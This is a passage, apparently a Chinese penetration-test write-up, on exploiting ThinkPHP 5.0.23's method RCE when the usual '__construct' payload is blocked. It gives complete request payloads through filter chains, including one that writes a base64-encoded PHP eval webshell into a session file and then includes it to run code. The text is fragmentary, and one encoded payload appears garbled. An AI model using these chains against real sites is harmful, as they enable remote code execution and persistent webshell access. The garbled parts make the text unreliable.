在对某网站渗透过程中,通过报错页面发现网站架构为ThinkPHP 5.0.23,存在method RCE漏洞。但是,使用常规payload提示
__construct
关键字被禁用,因此payload无法生效。但是这个漏洞的关键点不在于__construct
方法,而是Request
类的method
方法可以让我们调用类中的任意方法,因此,开始寻找另一条利用链。
Request
类的method
方法可以让我们调用类中的任意方法filter
链可以间接执行代码payload
都是通过__construct
函数覆写请求中的参数信息以及filter
链,从而控制调用的函数以及参数filter
函数仅能注册filter
链,无法覆写参数filter
链将无法控制的参数引导到可以控制的参数filter
链的第一个参数为server[REQUEST_METHOD]
,即字符串POST
phpinfo
函数可以接受一个整数作为参数,但是,当传入的参数为0
的时候,不会输出任何信息,因此intval
函数无法使用phpinfo
使用error_report
函数,原型如下:post : 0=error_reporting&1=phpinfo&_method=filter
filter
链为POST->error_reporting->phpinfo->输出信息
think\Session::set
即可将经过filter
链的数据全部写入,防止查杀,添加一个base64
编码POST /index.php?a=PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2MnXSkpOyA/Pg== 0=base64_decode&1=think\Session::set&2=error_reporting&_method=filter
filter
链为输入数据->bases64_decode->think\Session::set->写入session
包含不存在的文件时,会报错,导致程序停止运行,因此,必须在第一个参数POST
进入filter
链的时候,进行文件包含
此处的难点就转变为了将POST
字符转换为文件名
\think\Cookie::get
方法可以返回Cookie
中的字符串,从而得到文件名POC
POST /index.php Cookie: POST=session文件名 0=\think\Cookie::get&1=think\__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbytgpOw==
暂未找到利用链
发现一个有趣的现象,在此记录一下
当程序执行流程中发生Error
时,error_handler
会触发利用链
APP_DEBUG
route.php
文件中引入错误原因
\think\Error
类中的appError
方法在处理错误的过程中,会对参数进行收集,从而触发filter
链filter
链之后,引起框架error
便可以触发payloaderror
的方法payload
均适用POST /index.php?a=C:/phpstudy_pro/Extensions/tmp/tmp/sess_v6mip0bjhb29prtsiv69f12j93 1=think\__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbygpOw==